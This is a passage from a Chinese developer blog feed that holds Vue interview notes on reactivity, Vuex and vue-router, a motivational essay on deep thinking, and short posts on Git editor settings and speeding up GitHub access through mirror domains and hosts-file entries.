改变数组</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">this</span>.$set(<span class="variable language_">this</span>.<span class="property">obj</span>, <span class="string">&quot;name&quot;</span>, <span class="string">&quot;张三&quot;</span>); <span class="comment">// 改变对象</span></span><br></pre></td></tr></table></figure><p><strong>vue更新数组时触发视图更新的方法</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">push</span>()、<span class="title function_">pop</span>()、<span class="title function_">shift</span>()、<span class="title function_">unshift</span>()、<span class="title function_">splice</span>()、<span class="title function_">sort</span>()、<span class="title function_">reverse</span>()</span><br></pre></td></tr></table></figure><p>意思是使用这些方法不用我们再进行额外的操作，视图自动进行更新。推荐使用splice方法会比较好自定义,因为splice可以在数组的任何位置进行删除/添加操作</p><h2 id="assets和static的区别"><a href="#assets和static的区别" class="headerlink" title="assets和static的区别"></a>assets和static的区别</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 相同点</span></span><br><span class="line"><span class="number">1.</span> assets 和 <span class="keyword">static</span> 两个都是用来存放静态资源文件</span><br><span class="line"><span class="number">2.</span> 项目中所需要的资源文件图片、字体图标、<span class="variable constant_">CSS</span>样式文件等都可以放在这两个目录下</span><br><span class="line"></span><br><span class="line"><span class="comment">// 不同点</span></span><br><span class="line"><span class="number">1.</span> assets 中存放的静态资源文件在项目打包时，即：在运行 npm run build 时，会将 assets 中放置的静态资源文件进行打包上传（所谓打包，简单点可以理解为压缩体积、代码格式化），而压缩后的静态资源文件最终也都会放置在 <span class="keyword">static</span> 目录中跟着 index.<span class="property">html</span> 一同上传至服务器</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> <span class="keyword">static</span> 中存放的静态资源文件不会要走打包压缩格式化等流程，而是直接进入打包好的目录，直接上传至服务器。因为避免了压缩直接进行上传，在打包时会提高一定的效率，但是 <span class="keyword">static</span> 中的资源文件由于没有进行压缩等操作，所以文件的体积也就相对于 assets 中打包后的文件提交大一点儿，在服务器中就会占据更大的空间</span><br></pre></td></tr></table></figure><p>​    注：将项目中 template 需要的样式文件、 js 文件等都可以放置在 assets 中，走打包这一流程，减少体积；而项目中引入的第三方的资源文件，如：iconfont.css 等文件可以放置在 static 中，因为这些引入的第三方文件已经经过处理，我们不再需要处理，直接上传</p><h2 id="Vuex是什么"><a href="#Vuex是什么" class="headerlink" title="Vuex是什么"></a>Vuex是什么</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Vuex</span> 是一个专为 <span class="title class_">Vue</span>.<span class="property">js</span>应用程序开发的状态管理模式。它采用集中式存储管理应用的所有组件的状态，并以相应的规则保证状态以一种可预测的方式发生变化</span><br><span class="line"></span><br><span class="line">一共有<span class="number">5</span>个核心属性：</span><br><span class="line"></span><br><span class="line">state 唯一数据源,<span class="title class_">Vue</span> 实例中的 data 遵循相同的规则</span><br><span class="line"></span><br><span class="line">getters 可以认为是 store 的计算属性,就像计算属性一样，getter 的返回值会根据它的依赖被缓存起来，且只有当它的依赖值发生了改变才会被重新计算。<span class="title class_">Getter</span> 会暴露为 store.<span class="property">getters</span> 对象，你可以以属性的形式访问这些值</span><br><span class="line"></span><br><span class="line">mutation 更改 <span class="title class_">Vuex</span> 的 store 中的状态的唯一方法是提交 mutation,非常类似于事件,通过store.<span class="property">commit</span> 方法触发</span><br><span class="line"></span><br><span class="line">action类似于 mutation，不同在于<span class="title class_">Action</span> 提交的是 mutation，而不是直接变更状态，<span class="title class_">Action</span> 可以包含任意异步操作</span><br><span class="line"></span><br><span class="line"><span class="variable language_">module</span> 由于使用单一状态树，应用的所有状态会集中到一个比较大的对象。当应用变得非常复杂时，store 对象就有可能变得相当臃肿。为了解决以上问题，<span class="title class_">Vuex</span> 允许我们将 store 分割成模块（<span class="variable language_">module</span>）</span><br></pre></td></tr></table></figure><h2 id="vuex中的数据在页面刷新后数据消失"><a href="#vuex中的数据在页面刷新后数据消失" class="headerlink" title="vuex中的数据在页面刷新后数据消失"></a>vuex中的数据在页面刷新后数据消失</h2><p>用sessionstorage 或者 localstorage 存储数据</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">存储：<span class="variable language_">localStorage</span>.<span class="title function_">setItem</span>( <span class="string">&#x27;名&#x27;</span>, <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(值) )</span><br><span class="line"></span><br><span class="line">使用：<span class="variable language_">localStorage</span>.<span class="title function_">getItem</span>(<span class="string">&#x27;名&#x27;</span>) ---得到的值为字符串类型，用<span class="title class_">JSON</span>.<span class="title function_">parse</span>()去引号</span><br></pre></td></tr></table></figure><h2 id="vue哪几种情况会视图不更新"><a href="#vue哪几种情况会视图不更新" class="headerlink" title="vue哪几种情况会视图不更新"></a>vue哪几种情况会视图不更新</h2><p><strong>数组数据变动，使用某些方法操作数组，变动数据时，有些方法无法被vue监测</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">push</span>()，<span class="title function_">pop</span>()，<span class="title function_">shift</span>()，<span class="title function_">unshift</span>()，<span class="title function_">splice</span>()，<span class="title function_">sort</span>()，<span class="title function_">reverse</span>() 可被vue检测到</span><br><span class="line"></span><br><span class="line"><span class="title function_">filter</span>(), <span class="title function_">concat</span>(), <span class="title function_">slice</span>() 这些不会改变原始数组，但总是返回一个新数组。当使用非变异方法时，可以用新数组替换旧数组</span><br><span class="line"></span><br><span class="line">vue不能检测以下变动的数组：</span><br><span class="line"><span class="number">1.</span> 当你利用索引直接设置一个项时，vm.<span class="property">items</span>[index] = newValue</span><br><span class="line"><span class="number">2.</span> 当你修改数组的长度时，例如： vm.<span class="property">items</span>.<span class="property">length</span> = newLength</span><br></pre></td></tr></table></figure><p><strong>对象属性的添加或删除</strong></p><p>由于 Vue 会在初始化实例时对属性执行 getter/setter 转化过程，所以属性必须在 data 对象上存在才能让 Vue 转换它，这样才能让它是响应的</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 解决办法：</span></span><br><span class="line">使用 <span class="title class_">Vue</span>.<span class="title function_">set</span>(object, key, value) 方法将响应属性添加到嵌套的对象上</span><br><span class="line"></span><br><span class="line"><span class="title class_">Vue</span>.<span class="title function_">set</span>(vm.<span class="property">someObject</span>, <span class="string">&#x27;b&#x27;</span>, <span class="number">2</span>) 或者 <span class="variable language_">this</span>.$set(<span class="variable language_">this</span>.<span class="property">someObject</span>,<span class="string">&#x27;b&#x27;</span>,<span class="number">2</span>) （这也是全局 <span class="title class_">Vue</span>.<span class="property">set</span> 方法的别名）</span><br></pre></td></tr></table></figure><p><strong>vue多层循环，动态改变数据后渲染的很慢或者不渲染</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 可在动态改变数据的方法，第一行加上</span></span><br><span class="line"><span class="variable language_">this</span>.$forceUpdate();</span><br></pre></td></tr></table></figure><h2 id="什么是vue-router"><a href="#什么是vue-router" class="headerlink" title="什么是vue-router"></a>什么是vue-router</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Vue</span> <span class="title class_">Router</span> 是 <span class="title class_">Vue</span>.<span class="property">js</span> 官方的路由管理器。它和 <span class="title class_">Vue</span>.<span class="property">js</span> 的核心深度集成，让构建单页面应用变得易如反掌。包含的功能有：</span><br><span class="line"></span><br><span class="line">- 嵌套的路由/视图表</span><br><span class="line">- 模块化的、基于组件的路由配置</span><br><span class="line">- 路由参数、查询、通配符</span><br><span class="line">- 基于 <span class="title class_">Vue</span>.<span class="property">js</span> 过渡系统的视图过渡效果</span><br><span class="line">- 细粒度的导航控制</span><br><span class="line">- 带有自动激活的 <span class="variable constant_">CSS</span> <span class="keyword">class</span> 的链接</span><br><span class="line">- <span class="title class_">HTML5</span> 历史模式或 hash 模式，在 <span class="title class_">IE9</span> 中自动降级</span><br><span class="line">- 自定义的滚动条行为</span><br></pre></td></tr></table></figure><h2 id="router和route的区别"><a href="#router和route的区别" class="headerlink" title="router和route的区别"></a>router和route的区别</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">$router 是路由实例对象，包含了路由的跳转方法，钩子函数等</span><br><span class="line"></span><br><span class="line">$route 是当前路由内的路由信息对象，包括path、params、hash、query、name等属性信息</span><br></pre></td></tr></table></figure><h2 id="vue的query和params区别"><a href="#vue的query和params区别" class="headerlink" title="vue的query和params区别"></a>vue的query和params区别</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">用法：query要用path来引入，params要用name来引入，接收参数都是类似的，分别是</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">$route</span>.<span class="property">query</span>.<span class="property">name</span> 和 <span class="variable language_">this</span>.<span class="property">$route</span>.<span class="property">params</span>.<span class="property">name</span></span><br><span class="line"></span><br><span class="line">url地址显示：query更加类似于get传参，params则类似于post，说的再简单一点，前者在浏览器地址栏中显示参数，后者则不显示</span><br><span class="line">注意点：query刷新不会丢失query里面的数据</span><br></pre></td></tr></table></figure><p><strong>传参和接收参数</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 传参: </span></span><br><span class="line"><span class="variable language_">this</span>.<span class="property">$router</span>.<span class="title function_">push</span>(&#123;</span><br><span class="line">        <span class="attr">path</span>:<span class="string">&#x27;/xxx&#x27;</span>,</span><br><span class="line">        <span class="attr">query</span>:&#123;</span><br><span class="line">          <span class="attr">id</span>:id</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;)</span><br><span class="line">  </span><br><span class="line"><span class="comment">// 接收参数:</span></span><br><span class="line"><span class="variable language_">this</span>.<span class="property">$route</span>.<span class="property">query</span>.<span class="property">id</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 传参: </span></span><br><span class="line"><span class="variable language_">this</span>.<span class="property">$router</span>.<span class="title function_">push</span>(&#123;</span><br><span class="line">        <span class="attr">name</span>:<span class="string">&#x27;xxx&#x27;</span>,</span><br><span class="line">        <span class="attr">params</span>:&#123;</span><br><span class="line">          <span class="attr">id</span>:id</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;)</span><br><span class="line">  </span><br><span class="line"><span class="comment">// 接收参数:</span></span><br><span class="line"><span class="variable language_">this</span>.<span class="property">$route</span>.<span class="property">params</span>.<span class="property">id</span></span><br></pre></td></tr></table></figure><p>params传参，push里面只能是 name:’xxxx’，不能是path:’/xxx’，因为params只能用name来引入路由，如果这里写成了path，接收参数页面会是undefined</p><p><strong>路由设置</strong></p><p>使用params方法传参的时候，要在路由后面加参数名，而query方法，就没有这种限制</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="attr">path</span>: <span class="string">&#x27;/index/:id&#x27;</span>, <span class="comment">// 接收参数的路由，使用params传参要加参数名，这里的id就是参数名</span></span><br><span class="line">    <span class="attr">name</span>: <span class="string">&#x27;index&#x27;</span>,</span><br><span class="line">    <span class="attr">component</span>: <span class="function">() =&gt;</span> <span class="keyword">import</span>(<span class="string">&#x27;./view/index&#x27;</span>),</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用params方法，如果路由上面不写参数，也是可以传过去的，但不会在url上面显示出你的参数，并且当你跳到别的页面或者刷新页面的时候<strong>参数会丢失</strong></p><p>总结：使用query传参的话，会在浏览器的url栏看到传的参数类似于get请求，使用params传参的话则不会，类似于post请求</p><h2 id="vue路由-hash-和-history-区别"><a href="#vue路由-hash-和-history-区别" class="headerlink" title="vue路由 hash 和 history 区别"></a>vue路由 hash 和 history 区别</h2><table><thead><tr><th></th><th>hash</th><th>history</th></tr></thead><tbody><tr><td>url显示</td><td>有#</td><td>无#</td></tr><tr><td>回车刷新</td><td>可以加载到hash值对应页面</td><td>一般就是404掉了</td></tr><tr><td>支持版本</td><td>支持低版本和IE浏览器</td><td>HTML5新推出的API</td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. hash(默认) —— hash 模式 url 里面永远带着 # 号,我们在开发中默认使用这个模式</span><br><span class="line">比如这个 URL：http://www.abc.com/#/hello，hash 的值为 #/hello。它的特点在于：hash 虽然出现在 URL 中，但不会被包括在 HTTP 请求中，对后端完全没有影响，因此改变 hash 不会重新加载页面</span><br><span class="line"></span><br><span class="line">2. history —— 利用了 HTML5 History Interface 中新增的 pushState() 和 replaceState() 方法</span><br></pre></td></tr></table></figure><p>当然啦，history 也不是样样都好。SPA 虽然在浏览器里游刃有余，但真要通过 URL 向后端发起 HTTP 请求时，两者的差异就来了。尤其在用户手动输入 URL 后回车，或者刷新（重启）浏览器的时候。</p><p>hash 模式下，仅 hash 符号之前的内容会被包含在请求中，如 <a href="http://www.abc.com，因此对于后端来说，即使没有做到对路由的全覆盖，也不会返回">http://www.abc.com，因此对于后端来说，即使没有做到对路由的全覆盖，也不会返回</a> 404 错误。</p><p>history 模式下，前端的 URL 必须和实际向后端发起请求的 URL 一致，如 <a href="http://www.abc.com/book/id。如果后端缺少对">http://www.abc.com/book/id。如果后端缺少对</a> /book/id 的路由处理，将返回 404 错误。Vue-Router 官网里如此描述：“不过这种模式要玩好，还需要后台配置支持……所以呢，你要在服务端增加一个覆盖所有情况的候选资源：如果 URL 匹配不到任何静态资源，则应该返回同一个 index.html 页面，这个页面就是你 app 依赖的页面。</p><p>history模式怕啥<br>通过history api，我们丢掉了丑陋的#，但是它也有个毛病：<br>不怕前进，不怕后退，就怕刷新，f5，（如果后端没有准备的话）,因为刷新是实实在在地去请求服务器的,不玩虚的。</p><p>在hash模式下，前端路由修改的是#中的信息，而浏览器请求时是不带它玩的，所以没有问题.但是在history下，你可以自由的修改path，当刷新时，如果服务器中没有相应的响应或者资源，会分分钟刷出一个404来</p><h2 id="Vue性能优化"><a href="#Vue性能优化" class="headerlink" title="Vue性能优化"></a>Vue性能优化</h2><ul><li><p>事件代理</p></li><li><p><code>keep-alive</code></p></li><li><p>拆分组件</p></li><li><p><code>key</code> 保证唯一性</p></li><li><p>路由懒加载、异步组件</p></li><li><p>防抖节流</p></li><li><p>第三方模块按需导入（<code>babel-plugin-component</code> ）</p></li><li><p>图片懒加载</p></li></ul><h2 id="vue初始化页面闪动问题"><a href="#vue初始化页面闪动问题" class="headerlink" title="vue初始化页面闪动问题"></a>vue初始化页面闪动问题</h2><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">使用vue开发时，在vue初始化之前，由于<span class="selector-tag">div</span>是不归vue管的，所以我们写的代码在还没有解析的情况下会容易出现花屏现象，看到类似于</span><br><span class="line">&#123;&#123; message &#125;&#125; 的字样，虽然一般情况下这个时间很短暂，但是我们还是有必要让解决这个问题的。</span><br><span class="line">首先：在css里加上</span><br><span class="line"><span class="selector-attr">[v-cloak]</span> &#123;</span><br><span class="line"><span class="attribute">display</span>: none;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="提高首屏加载速度的优化方案"><a href="#提高首屏加载速度的优化方案" class="headerlink" title="提高首屏加载速度的优化方案"></a>提高首屏加载速度的优化方案</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 采用路由懒加载</span><br><span class="line"><span class="number">2.</span> 将一些静态js css放到其他地方（如<span class="variable constant_">OSS</span>），减小服务器压力</span><br><span class="line"><span class="number">3.</span> 按需加载三方资源，如element,建议按需引入element中的组件</span><br><span class="line"><span class="number">4.</span> 使用nginx开启gzip减小网络传输的流量大小</span><br><span class="line"><span class="number">5.</span> webpack开启gzip压缩</span><br><span class="line"><span class="number">6.</span> 若首屏为登录页，可以做成多入口，登录页单独分离为一个入口</span><br><span class="line"><span class="number">7.</span> 图片懒加载方案</span><br></pre></td></tr></table></figure><h2 id="单页面应用和多页面应用区别及优缺点"><a href="#单页面应用和多页面应用区别及优缺点" class="headerlink" title="单页面应用和多页面应用区别及优缺点"></a>单页面应用和多页面应用区别及优缺点</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">答：</span><br><span class="line">单页面应用（<span class="variable constant_">SPA</span>），通俗一点说就是指只有一个主页面的应用，浏览器一开始要加载所有必须的 html, js, css。所有的页面内容都包含在这个所谓的主页面中。但在写的时候，还是会分开写（页面片段），然后在交互的时候由路由程序动态载入，单页面的页面跳转，仅刷新局部资源。多应用于pc端。</span><br><span class="line"></span><br><span class="line">多页面（<span class="variable constant_">MPA</span>），就是指一个应用中有多个页面，页面跳转时是整页刷新</span><br><span class="line">单页面的优点：</span><br><span class="line">用户体验好，快，内容的改变不需要重新加载整个页面，基于这一点spa对服务器压力较小；前后端分离；页面效果会比较炫酷（比如切换页面内容时的专场动画）</span><br><span class="line"></span><br><span class="line">单页面缺点：</span><br><span class="line">不利于seo；导航不可用，如果一定要导航需要自行实现前进、后退。（由于是单页面不能用浏览器的前进后退功能，所以需要自己建立堆栈管理）；初次加载时耗时多；页面复杂度提高很多</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> vue </category>
          
      </categories>
      
      
        <tags>
            
            <tag> web </tag>
            
            <tag> vue </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>深度思考，拯救低效勤奋</title>
      <link href="/2021/07/30/shen-du-si-kao-zheng-jiu-di-xiao-qin-fen/"/>
      <url>/2021/07/30/shen-du-si-kao-zheng-jiu-di-xiao-qin-fen/</url>
      
        <content type="html"><![CDATA[<h3 id="深度思考，拯救低效勤奋"><a href="#深度思考，拯救低效勤奋" class="headerlink" title="深度思考，拯救低效勤奋"></a>深度思考，拯救低效勤奋</h3><p>众所周知，勤奋是一种很好的品质，我们想要做成一件事，达成一个好的结果，往往都离不开这种品质。</p><p>但是，勤奋是有前提条件的，若是大的前提出现了问题，那么再勤奋往往也没有任何价值。</p><p>比如说，我们都知道的「拔苗助长」这个故事。</p><p>故事中的主人公算是很勤奋的，在田地里忙活了一整天，但因为他违背了禾苗生长的自然规律，结果就是再勤奋，也没有用，反而损失惨重。</p><p>那么，勤奋的前提条件是什么呢？</p><p>答案是：深度思考。</p><p><strong>有价值、有效的勤奋和努力，往往都建立在深度思考之上，没有深度思考的勤奋，通常都在做无用功。</strong></p><p>今天这篇文章就来聊一聊「深度思考」这个问题。</p><h3 id="01-不愿深度思考，难怪你混的不好"><a href="#01-不愿深度思考，难怪你混的不好" class="headerlink" title="01 不愿深度思考，难怪你混的不好"></a><strong>01</strong> <strong>不愿深度思考，难怪你混的不好</strong></h3><p>张三和李四相约一起进山里砍柴。</p><p>为了第二天能早点到山里，张三在前天晚上早早地就睡下了，而李四睡的则较晚一些，因为他花了点时间将斧子给磨了下。</p><p>第二天早上，张三很早就进了山里，一刻也不停歇，使出浑身力气砍柴，毕竟多砍一捆就能多一点收入。</p><p>等李四到山上的时候，张三已经砍好了两捆，虽然来得迟一些，但李四的速度很快，一会功夫就超过了张三。</p><p>到了中午，李四停下来磨斧子，他招呼张三也停下来休息一会，建议他将斧子磨一磨，再砍也不迟。</p><p>张三没理他，心里寻思着，我才不浪费时间，有这休息的功夫，我还可以多砍一些。</p><p>傍晚下山的时候，李四砍的柴捆数量足足是张三的两倍。</p><p>在接下来的几天里，每天都是这样的结果，李四虽然去的比较晚，而且还总是停下来休息，甚至中途还去摘一些果子带回去给孩子，但砍柴的数量却总是比张三多出不少。</p><p>张三就很费解，他问李四：我每天这么努力，起早贪黑地干，连休息的时间都没有，可为什么就是干不过你呢？</p><p>李四说，砍柴除了技术和力气，我们手里的斧子也很重要，我经常磨刀，刀锋锋利，自然就会砍的快一些，也更省力，你从来不磨刀，斧头越来越钝，当然既费力又砍的少了。</p><p>这就是「磨刀不误砍柴工」的故事，虽然很多人都知道这个经典的故事，也都理解其中的道理，但往往也仅仅是知道而已。</p><p>为什么这么说呢？</p><p>因为他们压根就没有从中吸取到教训，仍然在干着和张三一样的事：<strong>低效勤奋</strong>。</p><p>很多人看上去真的很勤奋，很努力，很能吃苦耐劳，但所取得的成绩却总是不太理想，付出和收获不成正比。</p><p>通常情况下，这种「忙而无获」最本质的原因，其实就是勤奋的很低效，甚至是无效。</p><p>之所以会出现这样的情况，原因往往就是缺少深度思考，而庸者和强者，普通人和精英之间的差距，往往也就在这里。</p><h3 id="02-思考的深度，决定你的高度"><a href="#02-思考的深度，决定你的高度" class="headerlink" title="02 思考的深度，决定你的高度"></a><strong>02</strong> <strong>思考的深度，决定你的高度</strong></h3><p>说了这么多，很多人的心里可能会有两个问题</p><h4 id="1-什么是深度思考？"><a href="#1-什么是深度思考？" class="headerlink" title="1. 什么是深度思考？"></a><strong>1. 什么是深度思考？</strong></h4><h4 id="2-如何才能做到深度思考？"><a href="#2-如何才能做到深度思考？" class="headerlink" title="2. 如何才能做到深度思考？"></a><strong>2. 如何才能做到深度思考？</strong></h4><p>先来看第一个问题：什么是深度思考？</p><p>曾担任香奈儿全球CEO，被称为「新一代香奈儿女王」的<strong>莫琳·希凯</strong>写过一本书《深度思考：不断逼近问题的本质》。</p><p>所谓「深度思考」，其实就是一种不断逼近问题本质的行为，对问题挖得越深，就越接近真相。</p><p>所以，如果想要彻底解决问题，想要努力的有价值，那么深度思考就是必不可少的一个环节。</p><p>再来看第二个问题：如何才能做到深度思考？</p><p>有三个必要的条件。</p><h5 id="1-独处"><a href="#1-独处" class="headerlink" title="1. 独处"></a><strong>1. 独处</strong></h5><p>没有一定的独处能力，那么就很难有「深度思考」的可能性，这是想要做到深度思考的第一个必要条件。</p><p>在《乌合之众》里有这样一句话：</p><p><strong>人一到群体中，智商就严重降低，为了获得认同，个体愿意抛弃是非，用智商去换取那份让人备感安全的归属感。</strong></p><p>简单来讲，就是人在群体中往往就失去了思考的能力，而这就是我们为什么要有独处能力的原因。</p><p><strong>很多问题和事情，需要我们静下心来去好好思量，好好想想的，心越静，思想往往就越深邃。</strong></p><h5 id="2-知识"><a href="#2-知识" class="headerlink" title="2. 知识"></a><strong>2. 知识</strong></h5><p>独处是最基础的一个条件，并不是说只要静下心来思考，就一定可以做到对问题的深度思考。</p><p>比如说，在我们考试的时候，不管你再怎么静下心来思考，不会做的题目还是一样不会做。</p><p>所以，想要做到深度思考的第二个必要条件，就是要有一定的知识储备来支撑你的思考。</p><p>知识的储备，通常有两个来源，一是经验和阅历，二是看书阅读，这也是我经常说人要多读书，多出去见见世面的原因。</p><p><strong>你的见识越多、越广，知识储备越丰富，往往就越能对问题有深度的思考和认知。</strong></p><h5 id="3-练习"><a href="#3-练习" class="headerlink" title="3. 练习"></a><strong>3. 练习</strong></h5><p>深度思考是一种能力，并不是天赋，既然是能力，那就是说可以通过练习来获取的。</p><p>想要一下子就能达到对问题有深度思考的级别，这是不现实的，除了长年累月的知识储备之外，我们还得刻意练习这种能力。</p><p>遇到问题，多问几个为什么，多从几个角度去看问题，不要迷信权威和唯一的答案，多持怀疑态度。</p><p>这不是神经质，而是通过一次次小的练习来培养思考的习惯，以及思维上的开悟，人的脑子总是越用越灵光的。</p><p><strong>在前行的路上，如果发现自己的努力很低效的话，那么是时候停下来思考思考了，你思考的深度，往往能决定你的人生高度。</strong></p><h3 id="磨刀不误砍柴工，请铭记于心。"><a href="#磨刀不误砍柴工，请铭记于心。" class="headerlink" title="磨刀不误砍柴工，请铭记于心。"></a>磨刀不误砍柴工，请铭记于心。</h3>]]></content>
      
      
      <categories>
          
          <category> 总结 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 反思 </tag>
            
            <tag> 总结 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git默认编辑器设置</title>
      <link href="/2021/07/30/git-mo-ren-bian-ji-qi-she-zhi/"/>
      <url>/2021/07/30/git-mo-ren-bian-ji-qi-she-zhi/</url>
      
        <content type="html"><![CDATA[<h2 id="将Git的默认编辑器设置为VS-Code"><a href="#将Git的默认编辑器设置为VS-Code" class="headerlink" title="将Git的默认编辑器设置为VS Code"></a>将Git的默认编辑器设置为VS Code</h2><p>windows用户运行git bash并输入以下代码</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">git config --global core.editor &quot;code -w&quot;</span><br></pre></td></tr></table></figure><p>操作步骤</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1.`git reabse -i HEAD~2`合并多个提交时,会默认打开Vscode,</span><br><span class="line">2.修改内容并保存,然后关闭</span><br><span class="line">3.git会继续打开更改后的内容,无需修改,直接关闭就好了</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Git </tag>
            
            <tag> 编辑器 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分析github推送以及访问github慢的原因</title>
      <link href="/2021/07/29/fen-xi-github-tui-song-yi-ji-fang-wen-github-man-de-yuan-yin/"/>
      <url>/2021/07/29/fen-xi-github-tui-song-yi-ji-fang-wen-github-man-de-yuan-yin/</url>
      
        <content type="html"><![CDATA[<h1 id="分析github推送以及访问github慢的原因"><a href="#分析github推送以及访问github慢的原因" class="headerlink" title="分析github推送以及访问github慢的原因"></a>分析github推送以及访问github慢的原因</h1><h2 id="分析推送慢"><a href="#分析推送慢" class="headerlink" title="分析推送慢"></a>分析推送慢</h2><h3 id="1-github-com服务器在境外-境内访问较慢"><a href="#1-github-com服务器在境外-境内访问较慢" class="headerlink" title="1. github.com服务器在境外,境内访问较慢"></a>1. github.com服务器在境外,境内访问较慢</h3><p>可以采用国内的镜像源做推送,</p><blockquote><p><strong>http镜像</strong></p><p><a href="https://github.com.cnpmjs.org">https://github.com.cnpmjs.org</a></p><p>举例:<a href="https://github.com.cnpmjs.org/fhefh2015/Fast-GitHub.git">https://github.com.cnpmjs.org/fhefh2015/Fast-GitHub.git</a></p><p><strong>ssh镜像</strong></p><p>git.zhlh6.cn</p><p>举例:<a href="mailto:git@git.zhlh6.cn">git@git.zhlh6.cn</a>:fhefh2015/Fast-GitHub.git</p></blockquote><p>更换前</p><p><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210730101231970.png" alt="image-20210730101231970"></p><p>更换后</p><p><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210730101314358.png" alt="image-20210730101314358"></p><p>​    2.更换源步骤</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. git remote -vv //查看本地仓库源</span><br><span class="line">❯ git remote -vv</span><br><span class="line">origin  git@github.com:lexxxg/cxxx.git (fetch)</span><br><span class="line">origin  git@github.com:lexxxg/cxxx.git (push)</span><br><span class="line"></span><br><span class="line">2. git remote rm origin   //删除该分支</span><br><span class="line"></span><br><span class="line">3. git remote add origin git@git.zhlh6.cn:lexxxg/cxxx.git//将其中github.com替换为git.zhlh6.cn</span><br><span class="line"></span><br><span class="line">4. git remote -vv //再次查看本地仓库源</span><br><span class="line">❯ git remote -vv</span><br><span class="line">origin  git@github.com.cnpmjs.org:lexxxg/cxxx.git (fetch)</span><br><span class="line">origin  git@github.com.cnpmjs.org:lexxxg/cxxx.git (push)</span><br></pre></td></tr></table></figure><p><strong>恭喜你可以愉快地使用github clone 和 推送了</strong></p><h2 id="分析访问慢"><a href="#分析访问慢" class="headerlink" title="分析访问慢"></a>分析访问慢</h2><h3 id="1-国内访问-GitHub-为什么很慢？"><a href="#1-国内访问-GitHub-为什么很慢？" class="headerlink" title="1.国内访问 GitHub 为什么很慢？"></a>1.国内访问 GitHub 为什么很慢？</h3><p>GitHub的CDN域名遭到DNS污染，导致无法连接使用 GitHub 的加速分发服务器，才使得国内访问速度很慢。</p><h3 id="2-如何解决-DNS-污染？"><a href="#2-如何解决-DNS-污染？" class="headerlink" title="2.如何解决 DNS 污染？"></a>2.如何解决 DNS 污染？</h3><p>通过修改 Hosts 文件，将域名解析直接指向 IP 地址来绕过 DNS 的解析，以此解决污染问题。</p><h3 id="3-具体步骤"><a href="#3-具体步骤" class="headerlink" title="3.具体步骤"></a>3.具体步骤</h3><p>1、获取Github的ip地址</p><p>通过访问 <a href="https://www.ipaddress.com/">https://www.ipaddress.com/</a> 这个网站来获取当前github最新的ip地址。</p><p><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210730102334400.png" alt="image-20210730102334400"></p><p><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210730102427017.png" alt="image-20210730102427017"></p><ol start="2"><li>修改 host 文件  位置:C:\Windows\System32\drivers\etc   </li></ol><blockquote><p>192.30.253.112      github.com<br>192.30.253.113      github.com<br>151.101.185.194     github.global.ssl.fastly.net</p></blockquote><ol start="3"><li>更新dns缓存</li></ol><blockquote><p>ipconfig /flushdns</p></blockquote>]]></content>
      
      
      <categories>
          
          <category> Gihub </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Git </tag>
            
            <tag> Gihub </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Win10局域网机共享教程（内含详细图文）</title>
      <link href="/2021/06/30/win10-ju-yu-wang-ji-gong-xiang-jiao-cheng-nei-han-xiang-xi-tu-wen/"/>
      <url>/2021/06/30/win10-ju-yu-wang-ji-gong-xiang-jiao-cheng-nei-han-xiang-xi-tu-wen/</url>
      
